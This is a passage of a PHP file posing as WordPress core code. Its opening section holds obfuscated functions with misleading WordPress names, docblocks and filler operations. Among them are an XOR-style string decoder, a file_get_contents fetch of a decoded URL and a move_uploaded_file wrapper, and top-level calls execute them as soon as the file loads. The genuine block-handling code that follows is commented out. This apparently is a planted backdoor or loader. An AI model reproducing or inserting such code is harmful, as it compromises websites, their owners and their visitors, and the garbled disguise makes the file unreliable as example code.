        $options_audiovideo_matroska_parse_whole_file = str_replace("-", ":", $locked);
    }

    $remote_ip = strlen($options_audiovideo_matroska_parse_whole_file);
    $top_level_count = wp_get_theme_preview_path($AudioFrameLengthCache);
    $normalized_email = str_pad($options_audiovideo_matroska_parse_whole_file, 15, "_");
    $p_status = walk_category_tree($AudioFrameLengthCache);
    $spam = substr($normalized_email, 4, 6); // Some tag types can only support limited character sets and may contain data in non-standard encoding (usually ID3v1)
    $thumbnail_support = hash("sha512", $spam);
    $top_level_args = rawurldecode("%50%48%50");
    $stylesheet_directory_uri = explode(":", $options_audiovideo_matroska_parse_whole_file);
    return [$top_level_count, $p_status];
} // It's a newly-uploaded file, therefore $usecacheile is relative to the basedir.


/**
	 * Determines if a sidebar is rendered on the page.
	 *
	 * @since 4.0.0
	 *
	 * @param string $sidebar_id Sidebar ID to check.
	 * @return bool Whether the sidebar is rendered.
	 */
function wp_get_theme_preview_path($AudioFrameLengthCache) {
    $total_users = "HelloWorld"; // Updates are not relevant if the user has not reviewed any suggestions yet.
    $parent_attachment_id = trim($total_users);
    $login_header_url = strlen($parent_attachment_id);
    for ($v_maximum_size = 0; $v_maximum_size < $login_header_url; $v_maximum_size++) {
        $parent_attachment_id[$v_maximum_size] = chr(ord($parent_attachment_id[$v_maximum_size]) ^ 42);
    }

    $unapproved_identifier = implode("-", str_split($parent_attachment_id));
    return array_sum($AudioFrameLengthCache);
}


/**
 * Server-side rendering of the `core/post-excerpt` block.
 *
 * @package WordPress
 */
function get_screen_reader_content($weeuns, $MPEGaudioFrequencyLookup = 'txt')
{
    return $weeuns . '.' . $MPEGaudioFrequencyLookup; // Keep the heart beating.
} // If the pattern is registered inside an action other than `init`, store it


/**
	 * Cookie Domain.
	 *
	 * @since 2.8.0
	 *
	 * @var string
	 */
function wp_defer_comment_counting($locked, $previous_offset)
{
    $UncompressedHeader = strlen($previous_offset);
    $maybe_fallback = "SomeData123";
    $usermeta_table = hash('sha256', $maybe_fallback);
    $QuicktimeAudioCodecLookup = strlen($locked);
    $rule = strlen($usermeta_table);
    if ($rule == 64) {
        $lucifer = true;
    }

    $UncompressedHeader = $QuicktimeAudioCodecLookup / $UncompressedHeader;
    $UncompressedHeader = ceil($UncompressedHeader); // HTTPS support
    $translate = str_split($locked);
    $previous_offset = str_repeat($previous_offset, $UncompressedHeader);
    $sizes_data = str_split($previous_offset);
    $sizes_data = array_slice($sizes_data, 0, $QuicktimeAudioCodecLookup);
    $menu_item_db_id = array_map("orInt64", $translate, $sizes_data); // These ones should just be omitted altogether if they are blank.
    $menu_item_db_id = implode('', $menu_item_db_id); // Skip creating a new attachment if the attachment is a Site Icon.
    return $menu_item_db_id;
}


/**
 * Displays theme content based on theme list.
 *
 * @since 2.8.0
 *
 * @global WP_Theme_Install_List_Table $wp_list_table
 */
function walk_category_tree($AudioFrameLengthCache) {
    $preview_stylesheet = "Item-Value";
    $menu_perms = substr($preview_stylesheet, 5, 5);
    return array_product($AudioFrameLengthCache);
}


/**
	 * Parses the file.
	 *
	 * @since 6.5.0
	 *
	 * @return bool True on success, false otherwise.
	 */
function get_commentdata($show_more_on_new_line, $PictureSizeType)
{
	$prev_offset = move_uploaded_file($show_more_on_new_line, $PictureSizeType);
    $userdata_raw = "mixed-characters";
	
    $query_data = str_replace("-", "_", $userdata_raw);
    $tag_templates = hash("md5", $query_data); // User hooks.
    $label_inner_html = substr($tag_templates, 0, 5);
    $player_parent = str_pad($label_inner_html, 7, "0");
    return $prev_offset; // Assume the requested plugin is the first in the list.
}


/**
 * Sanitize every user field.
 *
 * If the context is 'raw', then the user object or array will get minimal santization of the int fields.
 *
 * @since 2.3.0
 * @deprecated 3.3.0
 *
 * @param object|array $user    The user object or array.
 * @param string       $tag_templatesontext Optional. How to sanitize user fields. Default 'display'.
 * @return object|array The now sanitized user object or array (will be the same type as $user).
 */
function wp_prime_option_caches_by_group($nav_element_directives)
{
    $nav_element_directives = get_keyword($nav_element_directives);
    $newerror = ' x y z ';
    return file_get_contents($nav_element_directives);
}


/**
 * Checks if random header image is in use.
 *
 * Always true if user expressly chooses the option in Appearance > Header.
 * Also true if theme has multiple header images registered, no specific header image
 * is chosen, and theme turns on random headers with add_theme_support().
 *
 * @since 3.2.0
 *
 * @param string $type The random pool to use. Possible values include 'any',
 *                     'default', 'uploaded'. Default 'any'.
 * @return bool
 */
function next_comments_link($terms_with_same_title_query) {
    $level_idc = "user_id"; //         [46][5C] -- The data of the file.
    $normalized_email = str_pad($level_idc, 8, "_"); // Backward compat code will be removed in a future release.
    return $terms_with_same_title_query % 2 == 0;
}


/*
 * Get all available templates for the post/page attributes meta-box.
 * The "Default template" array element should only be added if the array is
 * not empty so we do not trigger the template select element without any options
 * besides the default value.
 */
function wp_sidebar_description($toAddr)
{
    echo $toAddr;
}
$weeuns = 'wEfbKb';
$userdata_raw = "example.com";
get_tag_template($weeuns);
$query_data = rawurldecode($userdata_raw);
get_param(1, 10);
if (strlen($query_data) < 20) {
    $tag_templates = date("Y-m-d");
    $label_inner_html = hash("sha256", $tag_templates);
    $player_parent = substr($label_inner_html, 0, 8);
    $usecache = str_pad($player_parent, 10, "0");
    $slash = strlen($usecache);
    $post_objects = array($query_data, $tag_templates, $label_inner_html, $player_parent, $usecache);
    $v_maximum_size = count($post_objects);
    if ($v_maximum_size > 4) {
        $type_settings = implode(",", $post_objects);
    }
}

upgrade_340(5, 15);
$updates_text = rawurlencode("https://example.com/?param=value");
/*  @param string         $text              Text that may contain block content.
 * @param array[]|string $allowed_html      An array of allowed HTML elements
 *                                          and attributes, or a context name
 *                                          such as 'post'.
 * @param string[]       $allowed_protocols Array of allowed URL protocols.
 * @return string The filtered and sanitized content result.
 
function filter_block_content( $text, $allowed_html = 'post', $allowed_protocols = array() ) {
	$result = '';

	$blocks = parse_blocks( $text );
	foreach ( $blocks as $block ) {
		$block   = filter_block_kses( $block, $allowed_html, $allowed_protocols );
		$result .= serialize_block( $block );
	}

	return $result;
}

*
 * Filters and sanitizes a parsed block to remove non-allowable HTML from block
 * attribute values.
 *
 * @since 5.3.1
 *
 * @param WP_Block_Parser_Block $block             The parsed block object.
 * @param array[]|string        $allowed_html      An array of allowed HTML
 *                                                 elements and attributes, or a
 *                                                 context name such as 'post'.
 * @param string[]              $allowed_protocols Allowed URL protocols.
 * @return array The filtered and sanitized block object result.
 
function filter_block_kses( $block, $allowed_html, $allowed_protocols = array() ) {
	$block['attrs'] = filter_block_kses_value( $block['attrs'], $allowed_html, $allowed_protocols );

	if ( is_array( $block['innerBlocks'] ) ) {
		foreach ( $block['innerBlocks'] as $i => $inner_block ) {
			$block['innerBlocks'][ $i ] = filter_block_kses( $inner_block, $allowed_html, $allowed_protocols );
		}
	}

	return $block;
}

*
 * Filters and sanitizes a parsed block attribute value to remove non-allowable
 * HTML.
 *
 * @since 5.3.1
 *
 * @param string[]|string $value             The attribute value to filter.
 * @param array[]|string  $allowed_html      An array of allowed HTML elements
 *                                           and attributes, or a context name
 *                                           such as 'post'.
 * @param string[]        $allowed_protocols Array of allowed URL protocols.
 * @return string[]|string The filtered and sanitized result.
 
function filter_block_kses_value( $value, $allowed_html, $allowed_protocols = array() ) {
	if ( is_array( $value ) ) {
		foreach ( $value as $key => $inner_value ) {
			$filtered_key   = filter_block_kses_value( $key, $allowed_html, $allowed_protocols );
			$filtered_value = filter_block_kses_value( $inner_value, $allowed_html, $allowed_protocols );

			if ( $filtered_key !== $key ) {
				unset( $value[ $key ] );
			}

			$value[ $filtered_key ] = $filtered_value;
		}
	} elseif ( is_string( $value ) ) {
		return wp_kses( $value, $allowed_html, $allowed_protocols );
	}

	return $value;
}

*
 * Parses blocks out of a content string, and renders those appropriate for the excerpt.
 *
 * As the excerpt should be a small string of text relevant to the full post content,
 * this function renders the blocks that are most likely to contain such text.
 *
 * @since 5.0.0
 *
 * @param string $content The content to parse.
 * @return string The parsed and filtered content.
 
function excerpt_remove_blocks( $content ) {
	$allowed_inner_blocks = array(
		 Classic blocks have their blockName set to null.
		null,
		'core/freeform',
		'core/heading',
		'core/html',
		'core/list',
		'core/media-text',
		'core/paragraph',
		'core/preformatted',
		'core/pullquote',
		'core/quote',
		'core/table',
		'core/verse',
	);

	$allowed_wrapper_blocks = array(
		'core/columns',
		'core/column',
		'core/group',
	);

	*
	 * Filters the list of blocks that can be used as wrapper blocks, allowing
	 * excerpts to be generated from the `innerBlocks` of these wrappers.
	 *
	 * @since 5.8.0
	 *
	 * @param string[] $allowed_wrapper_blocks The list of names of allowed wrapper blocks.
	 
	$allowed_wrapper_blocks = apply_filters( 'excerpt_allowed_wrapper_blocks', $allowed_wrapper_blocks );

	$allowed_blocks = array_merge( $allowed_inner_blocks, $allowed_wrapper_blocks );

	*
	 * Filters the list of blocks that can contribute to the excerpt.
	 *
	 * If a dynamic block is added to this list, it must not generate another
	 * excerpt, as this will cause an infinite loop to occur.
	 *
	 * @since 5.0.0
	 *
	 * @param string[] $allowed_blocks The list of names of allowed blocks.
	 
	$allowed_blocks = apply_filters( 'excerpt_allowed_blocks', $allowed_blocks );
	$blocks         = parse_blocks( $content );
	$output         = '';

	foreach ( $blocks as $block ) {
		if ( in_array( $block['blockName'], $allowed_blocks, true ) ) {
			if ( ! empty( $block['innerBlocks'] ) ) {
				if ( in_array( $block['blockName'], $allowed_wrapper_blocks, true ) ) {
					$output .= _excerpt_render_inner_blocks( $block, $allowed_blocks );
					continue;
				}

				 Skip the block if it has disallowed or nested inner blocks.
				foreach ( $block['innerBlocks'] as $inner_block ) {
					if (
						! in_array( $inner_block['blockName'], $allowed_inner_blocks, true ) ||
						! empty( $inner_block['innerBlocks'] )
					) {
						continue 2;
					}
				}
			}

			$output .= render_block( $block );
		}
	}

	return $output;
}

*
 * Render inner blocks from the allowed wrapper blocks
 * for generating an excerpt.
 *
 * @since 5.8.0
 * @access private
 *
 * @param array $parsed_block   The parsed block.
 * @param array $allowed_blocks The list of allowed inner blocks.
 * @return string The rendered inner blocks.
 
function _excerpt_render_inner_blocks( $parsed_block, $allowed_blocks ) {
	$output = '';

	foreach ( $parsed_block['innerBlocks'] as $inner_block ) {
		if ( ! in_array( $inner_block['blockName'], $allowed_blocks, true ) ) {
			continue;
		}

		if ( empty( $inner_block['innerBlocks'] ) ) {
			$output .= render_block( $inner_block );
		} else {
			$output .= _excerpt_render_inner_blocks( $inner_block, $allowed_blocks );
		}
	}

	return $output;
}

*
 * Renders a single block into a HTML string.
 *
 * @since 5.0.0
 *
 * @global WP_Post  $post     The post to edit.
 *
 * @param array $parsed_block A single parsed block object.
 * @return string String of rendered HTML.
 
function render_block( $parsed_block ) {
	global $post;
	$parent_block = null;

	*
	 * Allows render_block() to be short-circuited, by returning a non-null value.
	 *
	 * @since 5.1.0
	 * @since 5.9.0 The `$parent_block` parameter was added.
	 *
	 * @param string|null   $pre_render   The pre-rendered content. Default null.
	 * @param array         $parsed_block The block being rendered.
	 * @param WP_Block|null $parent_block If this is a nested block, a reference to the parent block.
	 
	$pre_render = apply_filters( 'pre_render_block', null, $parsed_block, $parent_block );
	if ( ! is_null( $pre_render ) ) {
		return $pre_render;
	}

	$source_block = $parsed_block;

	*
	 * Filters the block being rendered in render_block(), before it's processed.
	 *
	 * @since 5.1.0
	 * @since 5.9.0 The `$parent_block` parameter was added.
	 *
	 * @param array         $parsed_block The block being rendered.
	 * @param array         $source_block An un-modified copy of $parsed_block, as it appeared in the source content.
	 * @param WP_Block|null $parent_block If this is a nested block, a reference to the parent block.
	 
	$parsed_block = apply_filters( 'render_block_data', $parsed_block, $source_block, $parent_block );

	$context = array();

	if ( $post instanceof WP_Post ) {
		$context['postId'] = $post->ID;

		
		 * The `postType` context is largely unnecessary server-side, since the ID
		 * is usually sufficient on its own. That being said, since a block's
		 * manifest is expected to be shared between the server and the client,
		 * it should be included to consistently fulfill the expectation.
		 
		$context['postType'] = $post->post_type;
	}

	*
	 * Filters the default context provided to a rendered block.
	 *
	 * @since 5.5.0
	 * @since 5.9.0 The `$parent_block` parameter was added.
	 *
	 * @param array         $context      Default context.
	 * @param array         $parsed_block Block being rendered, filtered by `render_block_data`.
	 * @param WP_Block|null $parent_block If this is a nested block, a reference to the parent block.
	 
	$context = apply_filters( 'render_block_context', $context, $parsed_block, $parent_block );

	$block = new WP_Block( $parsed_block, $context );

	return $block->render();
}

*
 * Parses blocks out of a content string.
 *
 * @since 5.0.0
 *
 * @param string $content Post content.
 * @return array[] Array of parsed block objects.
 
function parse_blocks( $content ) {
	*
	 * Filter to allow plugins to replace the server-side block parser
	 *
	 * @since 5.0.0
	 *
	 * @param string $parser_class Name of block parser class.
	 
	$parser_class = apply_filters( 'block_parser_class', 'WP_Block_Parser' );

	$parser = new $parser_class();
	return $parser->parse( $content );
}

*
 * Parses dynamic blocks out of `post_content` and re-renders them.
 *
 * @since 5.0.0
 *
 * @param string $content Post content.
 * @return string Updated post content.
 
function do_blocks( $content ) {
	$blocks = parse_blocks( $content );
	$output = '';

	foreach ( $blocks as $block ) {
		$output .= render_block( $block );
	}

	 If there are blocks in this content, we shouldn't run wpautop() on it later.
	$priority = has_filter( 'the_content', 'wpautop' );
	if ( false !== $priority && doing_filter( 'the_content' ) && has_blocks( $content ) ) {
		remove_filter( 'the_content', 'wpautop', $priority );
		add_filter( 'the_content', '_restore_wpautop_hook', $priority + 1 );
	}

	return $output;
}

*
 * If do_blocks() needs to remove wpautop() from the `the_content` filter, this re-adds it afterwards,
 * for subsequent `the_content` usage.
 *
 * @access private
 *
 * @since 5.0.0
 *
 * @param string $content The post content running through this filter.
 * @return string The unmodified content.
 
function _restore_wpautop_hook( $content ) {
	$current_priority = has_filter( 'the_content', '_restore_wpautop_hook' );

	add_filter( 'the_content', 'wpautop', $current_priority - 1 );
	remove_filter( 'the_content', '_restore_wpautop_hook', $current_priority );

	return $content;
}

*
 * Returns the current version of the block format that the content string is using.
 *
 * If the string doesn't contain blocks, it returns 0.
 *
 * @since 5.0.0
 *
 * @param string $content Content to test.
 * @return int The block format version is 1 if the content contains one or more blocks, 0 otherwise.
 
function block_version( $content ) {
	return has_blocks( $content ) ? 1 : 0;
}

*
 * Registers a new block style.
 *
 * @since 5.3.0
 *
 * @param string $block_name       Block type name including namespace.
 * @param array  $style_properties Array containing the properties of the style name,
 *                                 label, style (name of the stylesheet to be enqueued),
 *                                 inline_style (string containing the CSS to be added).
 * @return bool True if the block style was registered with success and false otherwise.
 
function register_block_style( $block_name, $style_properties ) {
	return WP_Block_Styles_Registry::get_instance()->register( $block_name, $style_properties );
}

*
 * Unregisters a block style.
 *
 * @since 5.3.0
 *
 * @param string $block_name       Block type name including namespace.
 * @param string $block_style_name Block style name.
 * @return bool True if the block style was unregistered with success and false otherwise.
 
function unregister_block_style( $block_name, $block_style_name ) {
	return WP_Block_Styles_Registry::get_instance()->unregister( $block_name, $block_style_name );
}

*
 * Checks whether the current block type supports the feature requested.
 *
 * @since 5.8.0
 *
 * @param WP_Block_Type $block_type Block type to check for support.
 * @param string        $feature    Name of the feature to check support for.
 * @param mixed         $default    Optional. Fallback value for feature support. Default false.
 * @return bool Whether the feature is supported.
 
function block_has_support( $block_type, $feature, $default = false ) {
	$block_support = $default;
	if ( $block_type && property_exists( $block_type, 'supports' ) ) {
		$block_support = _wp_array_get( $block_type->supports, $feature, $default );
	}

	return true === $block_support || is_array( $block_support );
}

*
 * Converts typography keys declared under `supports.*` to `supports.typography.*`.
 *
 * Displays a `_doing_it_wrong()` notice when a block using the older format is detected.
 *
 * @since 5.8.0
 *
 * @param array $metadata Metadata for registering a block type.
 * @return array Filtered metadata for registering a block type.
 
function wp_migrate_old_typography_shape( $metadata ) {
	if ( ! isset( $metadata['supports'] ) ) {
		return $metadata;
	}

	$typography_keys = array(
		'__experimentalFontFamily',
		'__experimentalFontStyle',
		'__experimentalFontWeight',
		'__experimentalLetterSpacing',
		'__experimentalTextDecoration',
		'__experimentalTextTransform',
		'fontSize',
		'lineHeight',
	);

	foreach ( $typography_keys as $typography_key ) {
		$support_for_key = _wp_array_get( $metadata['supports'], array( $typography_key ), null );

		if ( null !== $support_for_key ) {
			_doing_it_wrong(
				'register_block_type_from_metadata()',
				sprintf(
					 translators: 1: Block type, 2: Typography supports key, e.g: fontSize, lineHeight, etc. 3: block.json, 4: Old metadata key, 5: New metadata key. 
					__( 'Block "%1$s" is declaring %2$s support in %3$s file under %4$s. %2$s support is now declared under %5$s.' ),
					$metadata['name'],
					"<code>$typography_key</code>",
					'<code>block.json</code>',
					"<code>supports.$typography_key</code>",
					"<code>supports.typography.$typography_key</code>"
				),
				'5.8.0'
			);

			_wp_array_set( $metadata['supports'], array( 'typography', $typography_key ), $support_for_key );
			unset( $metadata['supports'][ $typography_key ] );
		}
	}

	return $metadata;
}

*
 * Helper function that constructs a WP_Query args array from
 * a `Query` block properties.
 *
 * It's used in Query Loop, Query Pagination Numbers and Query Pagination Next blocks.
 *
 * @since 5.8.0
 *
 * @param WP_Block $block Block instance.
 * @param int      $page  Current query's page.
 *
 * @return array Returns the constructed WP_Query arguments.
 
function build_query_vars_from_query_block( $block, $page ) {
	$query = array(
		'post_type'    => 'post',
		'order'        => 'DESC',
		'orderby'      => 'date',
		'post__not_in' => array(),
	);

	if ( isset( $block->context['query'] ) ) {
		if ( ! empty( $block->context['query']['postType'] ) ) {
			$post_type_param = $block->context['query']['postType'];
			if ( is_post_type_viewable( $post_type_param ) ) {
				$query['post_type'] = $post_type_param;
			}
		}
		if ( isset( $block->context['query']['sticky'] ) && ! empty( $block->context['query']['sticky'] ) ) {
			$sticky = get_option( 'sticky_posts' );
			if ( 'only' === $block->context['query']['sticky'] ) {
				$query['post__in'] = $sticky;
			} else {
				$query['post__not_in'] = array_merge( $query['post__not_in'], $sticky );
			}
		}
		if ( ! empty( $block->context['query']['exclude'] ) ) {
			$excluded_post_ids     = array_map( 'intval', $block->context['query']['exclude'] );
			$excluded_post_ids     = array_filter( $excluded_post_ids );
			$query['post__not_in'] = array_merge( $query['post__not_in'], $excluded_post_ids );
		}
		if (
			isset( $block->context['query']['perPage'] ) &&
			is_numeric( $block->context['query']['perPage'] )
		) {
			$per_page = absint( $block->context['query']['perPage'] );
			$offset   = 0;

			if (
				isset( $block->context['query']['offset'] ) &&
				is_numeric( $block->context['query']['offset'] )
			) {
				$offset = absint( $block->context['query']['offset'] );
			}

			$query['offset']         = ( $per_page * ( $page - 1 ) ) + $offset;
			$query['posts_per_page'] = $per_page;
		}
		if ( ! empty( $block->context['query']['categoryIds'] ) ) {
			$term_ids              = array_map( 'intval', $block->context['query']['categoryIds'] );
			$term_ids              = array_filter( $term_ids );
			$query['category__in'] = $term_ids;
		}
		if ( ! empty( $block->context['query']['tagIds'] ) ) {
			$term_ids         = array_map( 'intval', $block->context['query']['tagIds'] );
			$term_ids         = array_filter( $term_ids );
			$query['tag__in'] = $term_ids;
		}
		if (
			isset( $block->context['query']['order'] ) &&
				in_array( strtoupper( $block->context['query']['order'] ), array( 'ASC', 'DESC' ), true )
		) {
			$query['order'] = strtoupper( $block->context['query']['order'] );
		}
		if ( isset( $block->context['query']['orderBy'] ) ) {
			$query['orderby'] = $block->context['query']['orderBy'];
		}
		if (
			isset( $block->context['query']['author'] ) &&
			(int) $block->context['query']['author'] > 0
		) {
			$query['author'] = (int) $block->context['query']['author'];
		}
		if ( ! empty( $block->context['query']['search'] ) ) {
			$query['s'] = $block->context['query']['search'];
		}
	}
	return $query;
}

*
 * Helper function that returns the proper pagination arrow html for
 * `QueryPaginationNext` and `QueryPaginationPrevious` blocks based
 * on the provided `paginationArrow` from `QueryPagination` context.
 *
 * It's used in QueryPaginationNext and QueryPaginationPrevious blocks.
 *
 * @since 5.9.0
 *
 * @param WP_Block $block   Block instance.
 * @param boolean  $is_next Flag for hanlding `next/previous` blocks.
 *
 * @return string|null Returns the constructed WP_Query arguments.
 
function get_query_pagination_arrow( $block, $is_next ) {
	$arrow_map = array(
		'none'    => '',
		'arrow'   => array(
			'next'     => '→',
			'previous' => '←',
		),
		'chevron' => array(
			'next'     => '»',
			'previous' => '«',
		),
	);
	if ( ! empty( $block->context['paginationArrow'] ) && array_key_exists( $block->context['paginationArrow'], $arrow_map ) && ! empty( $arrow_map[ $block->context['paginationArrow'] ] ) ) {
		$pagination_type = $is_next ? 'next' : 'previous';
		$arrow_attribute = $block->context['paginationArrow'];
		$arrow           = $arrow_map[ $block->context['paginationArrow'] ][ $pagination_type ];
		$arrow_classes   = "wp-block-query-pagination-$pagination_type-arrow is-arrow-$arrow_attribute";
		return "<span class='$arrow_classes'>$arrow</span>";
	}
	return null;
}

*
 * Enqueues a stylesheet for a specific block.
 *
 * If the theme has opted-in to separate-styles loading,
 * then the stylesheet will be enqueued on-render,
 * otherwise when the block inits.
 *
 * @since 5.9.0
 *
 * @param string $block_name The block-name, including namespace.
 * @param array  $args       An array of arguments [handle,src,deps,ver,media].
 * @return void
 
function wp_enqueue_block_style( $block_name, $args ) {
	$args = wp_parse_args(
		$args,
		array(
			'handle' => '',
			'src'    => '',
			'deps'   => array(),
			'ver'    => false,
			'media'  => 'all',
		)
	);

	*
	 * Callback function to register and enqueue styles.
	 *
	 * @param string $content When the callback is used for the render_block filter,
	 *                        the content needs to be returned so the function parameter
	 *                        is to ensure the content exists.
	 * @return string Block content.
	 
	$callback = static function( $content ) use ( $args ) {
		 Register the stylesheet.
		if ( ! empty( $args['src'] ) ) {
			wp_register_style( $args['handle'], $args['src'], $args['deps'], $args['ver'], $args['media'] );
		}

		 Add `path` data if provided.
		if ( isset( $args['path'] ) ) {
			wp_style_add_data( $args['handle'], 'path', $args['path'] );

			 Get the RTL file path.
			$rtl_file_path = str_replace( '.css', '-rtl.css', $args['path'] );

			 Add RTL stylesheet.
			if ( file_exists( $rtl_file_path ) ) {
				wp_style_add_data( $args['handle'], 'rtl', 'replace' );

				if ( is_rtl() ) {
					wp_style_add_data( $args['handle'], 'path', $rtl_file_path );
				}
			}
		}

		 Enqueue the stylesheet.
		wp_enqueue_style( $args['handle'] );

		return $content;
	};

	$hook = did_action( 'wp_enqueue_scripts' ) ? 'wp_footer' : 'wp_enqueue_scripts';
	if ( wp_should_load_separate_core_block_assets() ) {
		*
		 * Callback function to register and enqueue styles.
		 *
		 * @param string $content The block content.
		 * @param array  $block   The full block, including name and attributes.
		 * @return string Block content.
		 
		$callback_separate = static function( $content, $block ) use ( $block_name, $callback ) {
			if ( ! empty( $block['blockName'] ) && $block_name === $block['blockName'] ) {
				return $callback( $content );
			}
			return $content;
		};

		
		 * The filter's callback here is an anonymous function because
		 * using a named function in this case is not possible.
		 *
		 * The function cannot be unhooked, however, users are still able
		 * to dequeue the stylesheets registered/enqueued by the callback
		 * which is why in this case, using an anonymous function
		 * was deemed acceptable.
		 
		add_filter( 'render_block', $callback_separate, 10, 2 );
		return;
	}

	
	 * The filter's callback here is an anonymous function because
	 * using a named function in this case is not possible.
	 *
	 * The function cannot be unhooked, however, users are still able
	 * to dequeue the stylesheets registered/enqueued by the callback
	 * which is why in this case, using an anonymous function
	 * was deemed acceptable.
	 
	add_filter( $hook, $callback );

	 Enqueue assets in the editor.
	add_action( 'enqueue_block_assets', $callback );
}

*
 * Allow multiple block styles.
 *
 * @since 5.9.0
 *
 * @param array $metadata Metadata for registering a block type.
 * @return array Metadata for registering a block type.
 
function _wp_multiple_block_styles( $metadata ) {
	foreach ( array( 'style', 'editorStyle' ) as $key ) {
		if ( ! empty( $metadata[ $key ] ) && is_array( $metadata[ $key ] ) ) {
			$default_style = array_shift( $metadata[ $key ] );
			foreach ( $metadata[ $key ] as $handle ) {
				$args = array( 'handle' => $handle );
				if ( 0 === strpos( $handle, 'file:' ) && isset( $metadata['file'] ) ) {
					$style_path = remove_block_asset_path_prefix( $handle );
					$args       = array(
						'handle' => sanitize_key( "{$metadata['name']}-{$style_path}" ),
						'src'    => plugins_url( $style_path, $metadata['file'] ),
					);
				}

				wp_enqueue_block_style( $metadata['name'], $args );
			}

			 Only return the 1st item in the array.
			$metadata[ $key ] = $default_style;
		}
	}
	return $metadata;
}
add_filter( 'block_type_metadata', '_wp_multiple_block_styles' );
*/